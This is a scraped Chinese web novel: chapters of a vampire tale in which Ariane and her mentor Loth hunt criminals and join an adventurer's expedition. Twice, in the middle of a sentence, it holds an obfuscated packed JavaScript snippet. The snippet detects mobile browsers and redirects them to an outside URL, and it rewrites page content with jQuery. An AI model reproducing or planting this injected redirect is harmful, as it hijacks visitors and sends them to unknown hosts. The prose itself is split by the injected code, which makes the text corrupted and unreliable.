“很好！现在我想喝点东西，毕竟派对上要是没酒可不行。你能帮我找点好喝的吗？” “当……当然！你随便喝！” “太感谢你了！” 我掐住他的喉咙，咬了下去。 在过去的六个月里，我发生了不少变化。我跑得更快，耐力也更好，能长时间保持高速移动。我还能用同样的能量强化自身，虽然这对我来说要困难得多。我现在不费吹灰之力就能制伏成年男子。在我看来，最有价值的变化是，我现在几乎能一整晚都保持清醒，不过说实话，七月的夜晚也就九个小时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054925|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和洛斯生活在一起后，我才意识到自己以前每天能做成的事少得可怜。以前每天能完全活动的时间只有几个小时，所以每个计划都得花上一周才能完成。佩里神父能追上我，我也没什么好惊讶的。他拼命骑了两天马，轻松就超过了我一周走过的路程。 尽管我能支配的时间不多，但还是做成了不少事。我帮洛斯参与了好几次狩猎，还经常帮他完成一些精细任务的收尾工作。作为回报，我学会了好几种如尼文的读写。虽然魔法对我来说遥不可及，但我对它有了一定的理解。我现在了解了法师们的能力，以及他们使用的各种工具，不得不说，我很庆幸之前遇到的都是些单打独斗的法师。要是一群法师联手，那可就危险了。 不跟洛斯一起干活的时候，我就看书或者去追捕悬赏的逃犯。 我们住的镇子和周边地区都没有专门的执法队伍。违法者由一群“热心市民”来处置，这些人很容易动用私刑。要是罪犯逃脱了当场惩罚，镇长就会发布悬赏，这样抓住罪犯的人就能得到补偿，弥补他们抓捕期间损失的收入。当赏金猎人可不是件容易的事。要是法官和半数陪审团成员都和受害者相熟，那行刑人可就有的忙了，而那些逃犯也清楚这一点。 这就是我和帕特里奇先生达成合作的原因。 我敲了敲加固过的木门。 “请进！” 我走进一间布置朴素的客厅。我尽量不去看那些随处可见的基督教装饰，把注意力集中在面前的男人身上。迈克尔·帕特里奇身材敦实，留着灰白的胡须，只有一只眼睛完好。他穿着素色的衣服，凸显出他那虽上了年纪但依旧结实的肌肉，不过他的肚子也开始有点发福了。 “德莱尼小姐，你抓到他了吗？” 洛斯现在用德莱尼这个姓。 “抓到了。我把他绑在杰克逊维尔和霍尔斯农场交界处那棵大栗子树下了。” “干得好，我明天去把他带回来。那匹马呢？” “拴在胖猪酒馆前面了。” “老米切尔夫人的积蓄呢？” “都在这儿。”我一边回答，一边把赃物放在他的桌子上，“还有一对银烛台和一些餐具。稍等一下。” 我走出屋子，回来的时候拖着一个袋子，假装费了很大力气。我身为女性，力气向来不小，但也没壮得像个苦力，而且银器还挺沉的。洛斯说过，人类为了生存，会本能地留意不一致的地方，所以我在和那些我不打算咬的人打交道时，都会格外小心。 我把沉甸甸的袋子放在第一个袋子旁边。 “收获不错。米切尔一家没提过这些东西。会不会是从其他受害者那儿偷来的？” “我觉得不太可能，他应该没那个时间。或许是老米切尔夫人不想承认自己被人骗得精光、抢得一干二净。你知道的，人们被袭击后总会觉得丢人，好像被盯上是他们自己的错一样。” 迈克尔若有所思地点点头。 “也有可能是她忘了，不过你说的也有道理。我还记得当时我要是往左闪，而不是往后退，那支黑森雇佣兵的长矛就刺不到我了……啊，瞧我，像个老头似的唠叨个没完。谢谢你，德莱尼小姐。我一定会让玛格丽特知道你帮了大忙。” “你一定要保密……” “当然，当然。” 我正准备离开，却发现主人摸着胡须，望向远处，这明显是他心里有事的表现。 “有什么事就直说吧，是什么让你这么心烦？” 他叹了口气，揉了揉疲惫的眼睛。 “你想喝杯茶吗？” 就算我能喝茶，看到桌子上方挂着的那个巨大十字架，我也会拒绝。 “已经很晚了，先生，我真的该回家了。” “是啊，我也不该这么问，这本来就不合适……唉，这整件事就没有一件是合适的。我居然在大半夜帮一个单身女子抓捕危险的罪犯。这简直疯了。你这个时候应该在家睡觉，或者更好的是，躺在你丈夫的身边。” “那要是那样，谁去抓毕晓普那家伙呢？” “我不知道！或许是菲利普斯，或者米切尔兄弟来了也行！反正不该是你！” “你觉得就算他们找到了毕晓普，能从他嘴里问出藏赃款的地方吗？” 他刚要反驳，突然反应过来我话里的意思。糟了，我真不该说这些。 “你对他做了什么？” 干得真“漂亮”，阿丽亚娜。 “我就折断了他几根手指……” “天哪“天哪，女人！” 我不禁缩了缩身子。 “注意言辞！” “啊！我……我很抱歉。这样不对，德莱尼小姐，完全错了。” 我得采取行动了。要是我们的合作泡汤，追捕逃犯可就没那么划算了。 “等你把老米切尔太太的毕生积蓄还给她时，看着她的眼睛，告诉她这不公平，告诉她这不合规矩。我们生活在一个无法无天的地方，迈克尔。邪恶想要得逞，只需要好人袖手旁观就行。如果我们俩都不站出来对抗这些恶行，那还有谁会呢？如果必须在规矩和正义之间做出选择，我知道我的内心会倾向于保护我们大家的那一方。” 嗯，我这话可能说得有点过头了。 “你……你说得对，德莱尼小姐。我没有理由反对。” 他说着，一滴眼泪顺着通红的脸颊滑落，“我只是恨自己这条瘸腿，总是拖我后腿。” 哈，居然奏效了。他擦了擦眼睛，直直地看着我，对我假装出来的执行正义的决心点了点头。 “我不知道为什么你身为女子，却被赋予了这些本领，但上帝行事神秘莫测。只要我们遵循他的旨意，这就够了。以眼还眼，以牙还牙，愿上帝怜悯查尔斯·毕晓普，反正我们是不会手下留情的。” 他站起身，握住我的手，热情地摇了摇，然后把我领到门外。 “安全回家吧，德莱尼小姐，睡个好觉，愿上帝与你同在。你今晚干得不错。我会把报酬留给你叔叔的。” 我走回洛斯的宅邸。嗯，刚刚到底是怎么回事？算了，只要我还能继续追捕逃犯就行…… 19. 符文疑云与探险邀约 过去一百天里，每天醒来，我面对的都是同样的景象：伸手不见五指的黑暗。我的手熟练地找到并拉动一个把手。随着一阵轻微的滑动声，我所在的石棺顶部沿着润滑良好的轨道缓缓向上滑开。石棺外部光滑无比，只能从内部打开。 我住的房间不大，但我很喜欢。房间布置得很温馨，有一张我很少睡的床、一张书桌、一个藏着秘密出口的衣柜，还有一个虽小但藏书丰富的书架。我迅速穿好衣服，穿过加固的门，进入地下室的其他区域，然后快步走上楼梯，来到书房。洛思（Loth）不在这儿，于是我迅速揭开两个刻满符文的金色圣杯，将里面深红色的液体一饮而尽。 这些圣杯是洛思设计的，能在短时间内保存液体的活力。这样一来，我就可以从那些我从未接触过的捐赠者身上获取一些养分。不过，这点养分远远不够，只是真正鲜血的微弱替代品，只能暂时缓解我的“饥渴”，等待下一次的“猎物”出现。仅靠这些，根本无法满足我的需求。 我闭上眼睛，仔细聆听。洛思不在他的办公室，这意味着…… 我离开那间兼做医生办公室的屋子，前往洛思的私人住处。一位女士正缓缓走下楼梯。尽管她穿着保守，头发也有些许灰白，但看到我时，她还是像少女一样脸红了。 “你好，诺贝尔夫人。” “哦！嗯，阿丽亚娜（Ariane）！我没看到你在这儿。我只是，嗯……” “当然，诺贝尔夫人，祝你晚上愉快。” 这位成熟的女士脸涨得像郁金香一样红，迈着颤抖的双腿尴尬地离开了。她从我身边走过时，我闻到了她身上的气息。天哪，洛思，你这次可真是…… 我没再理会这位羞愧离开的访客，继续前行，听到洛思在吸烟室里。我礼貌地敲了敲门。 “晚上好，洛思，你方便吗？” “晚上好，阿丽（Ari），进来，快进来！” 洛思穿着宽松的丝绸长裤和夹克，随意地坐在那里，结实的胸膛上毛发浓密。他端着平底酒杯，小口抿着威士忌，眼神放空。 “你来得正好，我有三件事要和你说。” “哦？”我回应道，突然警惕起来。 “别担心，不是什么坏事。首先，我在联络点收到了希梅纳（Jimena）的一封信。给你。”他说着，递给我一个密封的信封。 “第二件事有点棘手。你能坐下吗？”他说着，指了指一张皮沙发。我照做了。 “我听说，那个虐待可怜的玛格丽特（Margaret）的卑鄙小人昨天被抓住了。我还收到了她的感谢信，她甚至提出要把你介绍给她最喜欢的侄子，一个来自萨凡纳（Savannah）的银行家，他正好在找妻子。” “算了吧。” “我会替你转达遗憾的，姑娘。不过，让我有点担心的是那家伙的手。你一直严格遵守我们的约定，而且你完全有权利当场杀了那个混蛋。但我还是想给你一个建议，这是一个老怪物给年轻怪物的建议。” “难得这么严肃。快说说吧。” “我知道你之前玩弄过那个家伙，而三周前对那个骗子，你只是咬了他几口，问了些问题。你对待他们的方式不一样。为什么？” “我对毕晓普（Bishop）的谎言很好奇。他好像停不下来，好像撒谎对他来说事关生死。试探他的底线很有意思。” “所以你是一时兴起，对吧？” “算是吧？” 洛思平静地把酒杯放在咖啡桌上，双手交叉放在身前，摆出一副要开始说教的姿势，我现在对这个姿势已经很熟悉了。 “我们这些长生不老的生物，很多都不像大多数凡人那样珍视生命。你知道，凡人往往会犹豫要不要折磨或杀死别人。这是一种自然机制，我在我生活过的所有和平社会中都观察到了。我认为，这是为了和谐共处而产生的。杀戮成了一种禁忌。而我们这些‘外人’不受此限制。这既是一种优势，也是巨大的风险。 你看，你越是听从自己的本能，就越容易走上随意杀戮的道路，直到文明与和平共处的概念对你来说失去意义。” 我的主人就是最好的例子。 “你是说我不应该折磨或杀人吗？” “当然不是，你是个吸血鬼。而且，如果我要求你这么做，那不是很虚伪吗？” 我想起我们唯一一次一起追捕一群歹徒的经历。他们袭击了一个偏远的农场，无恶不作。洛思当时……毫不留情。他不像我那样喜欢玩乐。他做事有条不紊，冷酷无情。 “我只是建议你制定一套准则，并尽量遵守。” “如果我决定，□□犯和在别人婚礼上穿白色衣服的人，在我杀了他们之前可以被无情地折磨，你觉得怎么样？” “那也可以。我不是在评判你决定别人命运的标准，阿丽，我只是希望你能有一个标准。” 我思考着他的话。洛思经验丰富，他说的确实有道理。我想我至少可以试试。 “我得好好想想。而且，如果我的生命受到威胁，这个准则就不适用了。” “那是当然。现在，说点开心的事。抱歉刚才讨论得那么严肃，我有个东西能让气氛轻松起来。今天下午有个英国小伙子来拜访我。他想，他是怎么说的来着？给我提个能让我感兴趣的建议。或者类似的话。我觉得你可能也想听，所以我让他晚上八点过来。” “你想得真周到，洛思。我很感激。” “别客气，姑娘。”他笑着补充道，“要是他像弗雷娅阿姨（Aunt Freyja）说的那样，想算计我，那你就把他吃了。” 我们一边谈论着昨天的狩猎，一边笑着。不管发生什么，今晚肯定会很有趣！ “塞西尔·卢瑟福·宾格尔（Cecil Rutherford Bingle），小姐，为你效劳！” 这个红头发男人摘下圆顶礼帽，优雅地鞠了一躬。我简直不敢相信自己的眼睛。他的容貌、浓密的八字胡、皮大衣，所有这些都让他看起来像是某本关于木乃伊和落难少女的荒诞小说里的英雄。他有着一张坚毅帅气的脸，下巴像大锤一样结实，还有常年旅行晒出的健康古铜色皮肤。他说话的声音大得就像在剧院里，要让四楼的观众都能听到！我简直惊呆了。 洛思似笑非笑地看了我一眼，眼神里带着一丝默契。 “哦，嗯，很荣幸见到你，宾格尔先生。” “哈哈，年轻的小姐，别被我这粗犷的外表吓到，我保证，我不会咬人的！” 真是巧了。 “不过，路上可不安全，作为一个绅士，必须采取必要的措施来确保自己的安全，我说得对吧！现在，请原谅我的唐突，但我这次来访的紧急程度和原因让我心急如焚，我恳请你尽快听我说完，因为这件事非常紧急，你马上就会明白，德莱尼教授（Professor Delaney）。” 洛思也礼貌地回应道。 “那我们去客厅谈吧。阿丽，亲爱的，你能帮我们的客人泡壶茶，然后再过来吗？” “德莱尼先生，呃，我无意干涉你管理家务，呃，但是我要说的事情非常严重，呃，可能会触动一些敏感的神经。如果，呃，你的侄女因为听到这些而感到不适，我会非常愧疚的。” 洛思摆出一副严肃而悲伤的表情。他红红的鼻子和胡须，让他看起来像一个饱经沧桑的退休船长，在回忆一次注定失败的北极探险。 “尊敬的客人，我很感激你的体贴，但请你相信我在这件事上的判断，这与我的专业知识有关。也请你耐心一点，稍后我会解释为什么需要她在场。” “好吧，德莱尼先生，请带路！” 我离开这两个男人，去准备茶和茶杯。我觉得泡茶的过程很让人放松，这也是洛思让我用他珍贵茶叶的原因之一。我不喝茶也没关系，准备茶的过程和泡出的茶香就已经是足够的回报了。 我端着茶回来时，洛思正在给宾格尔讲解两种符文系统之间的细微差别，其中一种我也不太熟悉。 我给他们倒好茶后，在旁边一张舒适的皮沙发上坐下。宾格尔又疑惑地看了我最后一眼，然后开始讲述他的故事。 “三年前，我驻扎在直布罗陀（Gibraltar）的时候，遇到了一个非常特别、迷人的女人，她叫弗洛拉·谢弗（Flora Schaffer）。她是普鲁士容克贵族的女儿，对古代历史有着浓厚的兴趣。我退役后，答应陪她去叙利亚进行一次探险，深入奥斯曼帝国的领土。现在我就不细说了，因为一晚上的时间根本讲不完。长话短说，她找到了一块刻满奇怪符文的石板，对它着了魔似的研究。 七个月前，我收到了她的一封信，得知她去了美洲，我非常惊讶。原来，那些奇怪符文唯一匹配的物品，是一个由一群当地人卖给古玩收藏家的双耳陶罐，而那群当地人很快就消失了。信里说得很含糊，但暗示了需要进行一次危险的探险。可惜，我赶到的时候，她已经雇了一群声名狼藉的冒险家，叫‘英勇同伴’（Valiantpanions），先行出发了。那是三个月前的事了。我担心她的急切可能让她付出了惨重的代价。 我去打听他们的消息，结果听到了最可怕的事：他们现在被怀疑参与了多起严重的抢劫、绑架和敲诈勒索等犯罪活动。他们已经逃离了萨凡纳附近，因此躲过了法律的制裁。而我的同伴，弗洛拉，却毫无踪迹，我担心最糟糕的事情已经发生了。 为了寻找线索，我在她的遗物里找到了她的笔记本，但是很多笔记都是用一种我看不懂的符文字母写的。我几乎要绝望的时候，我的一个朋友提到了你，德莱尼先生。他说你是一位学者、绅士，还是个神枪手，这些都是我现在急需的品质。” 洛思理解地点点头。他打开笔记本，拿出几张画，然后挑了挑眉毛。他把画放回原处，继续说道： “我理解你任务的重要性和紧迫性，宾格尔先生。在我们继续之前，请原谅我的无礼，我需要和我的侄女讨论一些事情。请稍等我们一下。” 我跟着洛思走到外面。 “什么事？” “他会邀请我加入他的探险队，我会答应的，因为我有点无聊，而且他的故事听起来很有趣。我觉得你也应该一起去。” “每次旅行不都很危险吗？要是我找不到猎物怎么办？” “我觉得至少在初期这不是问题。我预计会有很多暴力冲突。我让你去的原因是，我认出了石板和陶罐上的符文。那些是吸血鬼的符文。” “真的吗？是用吸血鬼的语言写的？” “是的。这些符文在凡人的圈子里极其罕见，它们出现在吸血鬼城市之外，这毫无道理。我很好奇这条线索怎么会出现在这里。我还得说，世界上偏远的地方往往藏着一些疯狂的人，而奇怪的符文通常和他们有关。” “嗯。” “不过，如果你要去，有个大问题。宾格尔先生比他看起来精明得多，我毫不怀疑他很快就会发现有些不对劲。如果我们不得不让他闭嘴，那就太可惜了。” “如果我们一起旅行，恐怕这是不可避免的。你有什么建议？” “嗯，我看了一眼谢弗夫人的笔记本，里面有很多关于魔法的内容，不过我怀疑她自己并不是魔法师。我相信宾格尔先生对魔法有所了解，而且他可能怀疑我也懂魔法。否则，他之前就会极力否认，以免显得自己像个疯子。我们可以假装你被诅咒了。” “被诅咒？就说我是被魔法诅咒的人类受害者？” “对。” “他会相信吗？” “如果你亲自告诉他这个故事，他会相信的。吸血鬼有一种天生的说服力。我相信你能想出一个好故事。” “那我们发现真相之后怎么处理他？我想提前知道。如果最后我们要除掉他，我就不会和他建立联系，也不会发誓。” “如果我们能尽量隐藏你的大部分超能力，还有我最厉害的魔法武器，应该不会超出他的预期。那样的话，他自然会认为我们只是两个古怪的人，我们就不用杀他。但如果我们暴露了非人的特质，情况就不一样了。他会想知道真相。” “如果我们和他并肩作战，杀了他会让人很不舒服。” “那我们就确保这种情况不会发生。” 我甚至都没想过杀了这个人，然后自己去寻找一切。这个人是洛思的求助者，也是我们的客人，而且他一直都很正直。杀了他是不对的。 我们回到客厅，我坐下后，洛思转向我。 “塞西尔，请原谅我的失礼。我得问问我侄女，她是否愿意分享这个悲剧的细节…… 但是在我们开始之前，塞西尔，我必须问你。你相信魔法吗？你相信在世界的黑暗角落里，存在着一些不属于文明社会的东西吗？你相信有些知识最好不要去获取吗？” “德莱尼先生，不，洛思。我一直不敢说，因为有谁会相信这些听起来像幼稚胡话的东西呢！然而，在叙利亚的时候，我的眼睛没有欺骗我。我看到并与一些永远不会出现在自然历史百科全书里的东西战斗过。” “的确，这就引出了我可怜的阿丽亚娜的故事。” 我声音颤抖地给宾格尔讲起我的父亲，他是一位非洲探险家。他如何追捕危险的猎物，有一天，他在塞伦盖蒂平原追踪一只凶猛的狮子时，偶然发现了一个奇怪的祭坛。祭坛上放着一个蝙蝠的雕像。他既好奇又警惕，把雕像带给了当地的一位巫师。巫师告诉他，这个雕像与一个强大的灵魂有关，那是一个夜间捕食者的灵魂。一个贪婪、嗜血的野兽。巫师还说，只要献上合适的祭品，这个夜间捕食者就会分享它的力量。我父亲觉得很有趣，就把这个阴森的雕像带了回去，当作一种可怕的战利品。多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054926|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年过去了，我们都没再想过这件事，直到我父亲的视力下降，不得不退休。然而，狩猎的冲动无法抑制，他变得越来越痴迷。他想，如果他还能追捕最危险的猎物并将它们制服呢？如果他能像最致命的黑豹一样在夜间行动呢？这个想法吞噬着他，直到他再也无法忍受。 我试图阻止他，分散他的注意力，但都无济于事。一天晚上，我看到远处有灯光，觉得很可疑。当我走近时，眼前出现了一幕可怕的场景，我差点昏过去。在一片草地上，有我的父亲、那个被诅咒的雕像，还有我家那只流血的狗。父亲转过身看着我，他眼中的疯狂让我惊恐地往后退。 “看啊，阿丽亚娜，我们得到了祝福！”他用一种洪亮而可怕的声音说道。然后，他大笑着，带着一种异常的活力和步伐冲进了树林。我等着他回来，黎明时分，我看到他出现在地平线上。当阳光照到他身上时，他发出了一声可怕的尖叫，然后昏了过去。我立刻跑出去救他，但我刚一出门，就感到一阵剧痛，不得不退了回来。看来，那个祭品不合适。的确，这样一个可怕的存在，怎么会接受除了最珍贵的血肉之外的东西呢？我们被认为是不配的。作为交换，我父亲和他的血脉被诅咒，永远不能在阳光下行走，否则就会死去。更糟糕的是，我现在必须像他们一样，吸食活物的鲜血！ 我头也不回地离开了家，去找我亲爱的叔叔寻求帮助，因为他见多识广。他保护着我，从那以后，我们一直在寻找治愈的方法。” 我讲完这个荒诞不经的故事时，塞西尔·卢瑟福·宾格尔饱经风霜的脸上早已泪流满面。他说话时，声音因激动而颤抖。 “多么可怕的故事啊，亲爱的，多么可怕的命运！如此善良的灵魂，却要承受这样的重担，这是多么残忍啊！如果我能帮上忙……” 我摇了摇头，眼中满是泪水，尽管脸色苍白，但脸颊还是微微泛红。 “这似乎是一件没有希望的事，宾格尔先生，但至少我还有亲爱的叔叔照顾我。我想陪你一起去帮忙，因为如果我救不了自己，至少我可以帮助别人，这样我的心也能得到安宁。” 宾格尔又忍不住抽泣起来，情绪再次失控。洛思像父亲一样把手搭在我的肩膀上，他的脸上也满是悲伤和遗憾。他转身擦眼泪的时候，我听到他小声说： “七分。” 什么？！这个人都哭了，我至少应该得九分吧！哼。 “塞西尔，你可能想知道我为什么要和你分享这个敏感的信息。嗯，我是想解释为什么我的侄女能参与这件事。她还精通古代语言。阿丽亚娜，你看看这个。” 我接过笔记本，看了看从双耳陶罐上抄录下来的内容。 “盐。” “盐？” “是的，盐，炼金术的试剂。这是阿卡德语，源自阿卡德人的铭文。注意这些锋利的刻痕。这些符文是用尖笔刻在石板上的。” “这是什么意思？” “这很可能来自一套炼金工具。这意味着可能有某种实验室，甚至是更大的场所。” “谁会“谁会用一门早已失传的语言来进行炼金术研究呢？”宾格尔问道。 “也许是某个研究已消亡文明炼金术的人。” 又或许是在这门语言还鲜活通用时就存在的人。 洛思清了清嗓子，这位冒险家从沉思中回过神来，看向他。 “我亲爱的宾格尔先生，如果我没理解错的话，你需要我帮忙解读谢弗夫人的笔记，还希望我加入这次探险，对吧？” 当自己所提的要求被如此直白地说出来时，宾格尔尴尬得涨红了脸。 “呃，我知道我的请求有些过分，呃，但形势所迫，我只能放下自尊！的确，弗洛拉的生命危在旦夕，如果能让她平安归来，我甘愿牺牲自己的名誉。请原谅我如此冒昧的请求，你要知道，我们宾格尔家族并非没有能力回报。当然，我会酬谢你为此付出的努力，不过我也明白，对于像你这样的绅士来说，冒险的召唤、知识的探索以及荣誉的实现更为重要！” 我从未想过宾格尔能如此精准地揣摩洛思的心思，尽管他的理由并不正确。我能看出，他的话激起了洛思的好奇心。一个刻满古代符文的双耳陶罐，竟在这儿被发现？就连我都觉得好奇。 “别担心，宾格尔先生，你的求助并非无人理会。我愿意，不，是迫不及待地想帮你从那些歹徒手中救出你的朋友。我们明天就出发，找到你所说的‘英勇同伴’，这样就能确定谢弗小姐的下落了。我在执法部门有几个熟人，他们会很乐意告诉我那些人目前的行踪。或许那些歹徒愿意坐下来谈谈，如果不愿意，我们也可以用武力或计谋从他们口中套出消息。” 谈话逐渐转入细节，两人像男子汉一样握了握手后，宾格尔便离开了。洛思和我前往他的工作室。 这个巨大的房间占据了一楼和二楼一半的空间，是他的私人领地。我只进去过几次，而且从没有单独进去过，所以当他把我拉进去时，我还是有点惊讶。 “阿丽亚娜，我想请你帮个忙。我现在累坏了……” 我轻声笑了出来。他略带尴尬地笑了笑。 “是啊，我没想到克拉拉（Clara）这么能折腾。不管怎样，我太累了。你能帮我收拾行李吗？” “当然可以。” 他指了指他要带的东西，我花了几个小时把沉重的设备和小玩意儿搬到沉重的马车上。尽管他并不打算穿，但为了安全起见，我还是带上了他那套厚重的铠甲。 我自己则收拾了他为我准备的实用衣物，还有我的步枪、匕首，以及那本关于古代语言的笔记本。我去厨房准备了大量的旅行食物。一切准备妥当后，我回到自己的房间。 我拿起一张纸，这是从一张广告上撕下来的，上面写着寥寥数语。 “我爱你，女儿，别忘了你的承诺。” 一滴眼泪模糊了字迹。 我把它放进一个小盒吊坠里，挂在脖子上。 最后，我决定打开希梅纳的信。信里大多是她的近况，但有一行字引起了我的注意。 “我们已确认，‘南方淑女号’在塞内加尔海岸沉没，全员遇难。” 那是我主人乘坐的船。我不知道他遭遇了什么。有人告诉我，年长的吸血鬼如果被困在某个地方，能进入一种假死状态，所以很有可能他还活着，被关在深海黑暗处的铁棺材里。 我不知道自己对此作何感想。 那扭曲而又复杂的情感，让我忍不住想要去救他，但这种念头很快就被压了下去。 我松了一口气，不用再见到他了。我讨厌在他身边时失去理智的自己。 我又害怕他重获自由后会发生什么。可那是迟早的事。 唉，别再自怨自艾了。这远远超出了我的掌控范围。 我把石棺拖到马车上固定好，然后结束了这忙碌的一天，准备休息。 20. 暗夜吸血鬼的惊险征途 邦克。 “哎哟。” 邦克。 “嗷！搞什么鬼！？” 我愤怒地打开石棺，跳了出来。我在马车里，此刻马车正沿着一条崎岖的道路疾驰。他们为什么要这么做…… 砰！ 啊，果然。 我打开一条小缝，能看到前面的车厢。 “叔叔？我猜谈判没成功？” “啊，阿丽。我们好像甩不掉他们。你能想想办法吗？” “德莱尼小姐，这不安全，在我们对付那些暴徒的时候，你应该待在里面！” “我看看能做些什么！” 我跳起来，够到马车上的一个天窗，迅速打开它，向外望去。 我们周围是茂密的松林，中间夹着一条小道，对马车的轮子来说，这条路显得过于狭窄。后面，十几个人骑着马，挥舞着军刀和手枪紧追不舍。我看着，其中一人试图超车，结果吃了一颗子弹。 我转过头，迎面撞上一个正向我爬来的强盗。他看到我时，先是一愣，随后露出了狰狞的笑容。 难道说……这是给我送早餐来了？想得真周到！ 我回以他一个同样狰狞的笑容，趁他开始尖叫时，我一把抓住他的肩膀，将他脸朝下拖进下面的黑暗中。我正要咬下去，洛斯大喊起来。 “快动手，姑娘，阿斯尼撑不了多久了！” 哼，真讨厌，他们坏了我的兴致。我朝那人脖子一击，把他打晕，然后思考怎么解决这群麻烦。猎物。猎物。一群弱者。臭虫。都等着吧，血袋们。先爬上天窗，就是那里。他们在追我！让他们见识下我的厉害。 “吼——” 马匹惊慌失措，纷纷摔倒。骑手们试图控制局面，却失败了。追赶的人停了下来。 很好。 现在，回到…… “那……那是什么东西！？” 啊，糟糕？ 我从地上捡起个东西，打开小缝，外面有两双好奇的眼睛正看着。 “叔叔，成功了！你的燃素噪音发生器把他们吓跑了！”我一边喊，一边挥舞着手里这个本质上就是个带仪表和三个接口的油箱的东西。 “太棒了！”右边那双眼睛回应道，“这项发明真是天赐之物！” “没错，侄女，我要为你的……急中生智点赞。”左边那双皱着眉头的眼睛说道。 我开心地点点头，不动声色地把强盗的尸体推到防水布下面，以防宾格尔的目光乱瞟看到。 “不幸的是，我们还不安全。他们肯定会继续追来，而且阿斯尼也快没力气了。我们得找个地方躲起来，抵挡他们。” “洛斯，去渡口怎么样？旁边有个小悬崖，在那我们既能得到保护，又能清楚地看到渡口的情况。” “好。” 我关上小缝。时间紧迫！我迅速吸干这个强盗的血，都没来得及好好享受。我打开天窗，把尸体扔到路上。好了，我阿丽亚娜，堪称处理证据的女王。 几分钟后，我们过了一条小河，我注意到这条河不够宽，无法阻挡那些决心追来的骑手从下游过河。马车停在不远处，男人们拿起武器准备离开。 “我留在这儿给阿斯尼饮水。叔叔，你一定要小心！还有你，宾格尔先生。” “哈，那些卑鄙小人要是碰上塞西尔·卢瑟福·宾格尔，肯定会后悔的！我保证这将是他们的末日。”这人夸夸其谈道。 “宾格尔先生，我不在乎那些人的死活，我只希望你们俩能平安回到我身边。” “当然，德莱尼小姐。”他声音微微颤抖地回答，“我们一定会毫发无损地回来，我向你保证！” 我看着他们俩消失在黑暗中。嗯，对他们来说是黑暗，而我在月光下能看得清清楚楚。 我拿出一个巨大的水桶，一升又一升地给可怜的、热得不行的阿斯尼喂水。几分钟后，枪声传入我的耳中。 洛斯只穿了一件防护外套，但我知道他带着夜视单片眼镜。那些蠢货死定了。 话虽如此，有个明显的办法能绕过他们的封锁。 我闭上眼睛，集中精力。没错，我听到了河对岸传来的马蹄声。 我伏低身子，悄悄跟了上去。在下游两百码的地方，三个骑马的人从植被中现身，小心翼翼地开始过河。 我等他们从我身边经过。一个，两个。就是现在。 马匹闻到了我的气味，紧张地嘶鸣起来。 “这些马怎么了……” 趁着他们分心，我跳到最后一个骑手身上，刺中他的脊椎，然后把他往后拖。 “有什么怪物？史密斯，你看到……史密斯？” 我拍了下受惊的马屁股，这匹马立刻狂奔起来。另外两个人一边咒骂，一边试图控制住自己的马，我用同样的方法解决了第二个人。 最后一个人明白了情况，催促着马赶紧逃跑。 但这毫无用处。 我迅速行动，抓住他，狠狠地咬了下去。又一次，我得抓紧时间，没办法好好享受。真讨厌，这次旅行出现了一些意外情况，比如，这些成了旅途中口粮的强盗。 我扔下第三具尸体，确保马匹朝着远离渡口的方向跑去后，迅速跑了回去。好了，危机解除，而且一切都悄无声息！我阿丽亚娜，办事效率之王。 我确认阿斯尼正在降温后，便坐下来等待。没过多久，那两个人毫发无损地回来了。我从马车后面走出来，佯装出一副先是担忧、随后又转为安心的样子。 “哦，谢天……咳咳，谢天谢地，你们回来了！你们俩都没事吧？” “是的，德莱尼小姐！别担心，我们可把他们教训惨了！” 洛斯默默地指了指我的脸颊。糟了。 我转过头，假装擦眼泪，同时尽力把强盗的血迹擦掉。 “哦，德莱尼小姐……”宾格尔激动地说道。 洛斯一把抱住我，拍了拍我的后背。 “好了，好了，都结束了，我们安全了。” 然后他又压低声音问： “杀了几个？” 我挣脱他的怀抱，泪眼汪汪地看着他。 “这段等待的时间让我神经都快崩断了！我知道时间不长，但感觉像过了三个小时！” 洛斯点了点头。 “我们确实给他们上了一课，那些幸存者短时间内是忘不了的。不过，我们现在还是得找地方躲起来恢复体力。走吧，侄女。” 我们在树木繁茂的山谷里找到一个小山洞，足够容纳所有人和东西。男人们立刻开始挖坑，我则去收集木材。他们在坑里生起了火，火点着后，光线被泥土挡住了。洛斯甚至还用了某种格栅，防止烟雾和火星飘到夜空中。我没说其实只要有点脑子的人都能顺着我们的踪迹找来。 我主动提出值第一班岗，宾格尔只抗议了两句，这足以说明他有多疲惫。 三个小时后，洛斯醒来，来到坑边和我一起站岗。 “事情进展得怎么样？” “他们矢口否认见过弗洛拉。我用斯科拉格连发枪的最新款做展示，引开了瓦利安特那帮人的注意力，宾格尔趁机去搜查他们首领的藏身之处。这让我想起我第一任妻子古尔达，她当时用正确的剥兔皮方法吸引众人的注意力，我则去偷他们的谷仓。总之，宾格尔偷到了一本日记和另一本笔记本，但被发现了。好在还没演变成枪战，我们就逃出来了。” 洛斯陷入了沉默。我们做了六个月的朋友，我很了解他，我能感觉到他话还没说完。 “那个宾格尔小伙子有点 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“没错，像三月的野兔一样疯狂，脑子缺根弦，跟精灵似的神志不清，疯疯癫癫的。你懂的。” “我去吧。如果一个小时内没发现他，我就回来。” “小心点。” 